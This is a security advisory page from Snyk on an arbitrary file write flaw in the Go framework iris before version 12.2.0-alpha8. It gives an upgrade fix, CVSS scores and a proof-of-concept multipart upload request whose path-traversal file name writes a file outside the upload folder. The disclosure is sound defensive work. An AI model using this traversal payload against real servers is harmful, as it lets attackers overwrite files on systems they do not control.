Arbitrary File Write Affecting github.com/kataras/iris/v12 package, versions <12.2.0-alpha8


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.34% (72nd percentile)

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  • Snyk ID SNYK-GOLANG-GITHUBCOMKATARASIRISV12-2325170
  • published 23 Dec 2021
  • disclosed 23 Dec 2021
  • credit Snyk Security Team

How to fix?

Upgrade github.com/kataras/iris/v12 to version 12.2.0-alpha8 or higher.

Overview

github.com/kataras/iris/v12 is a fast, simple yet fully featured and very efficient web framework for Go.

Affected versions of this package are vulnerable to Arbitrary File Write. The unsafe handling of file names during upload using UploadFormFiles method may enable attackers to write to arbitrary locations outside the designated target folder.

PoC by Snyk

Based on the upload-files example.

POST /upload HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=----xxx
Connection: close
Content-Length: 151

------xxx Content-Disposition: form-data; name="uploadfile"; filename="..././..././malicious-file" Content-Type: text/plain

pwned ------xxx--

Note: the vulnerability is only possible in Go < 1.7.5 due to unsafe net/http behaviour.

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.5 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

8.8 high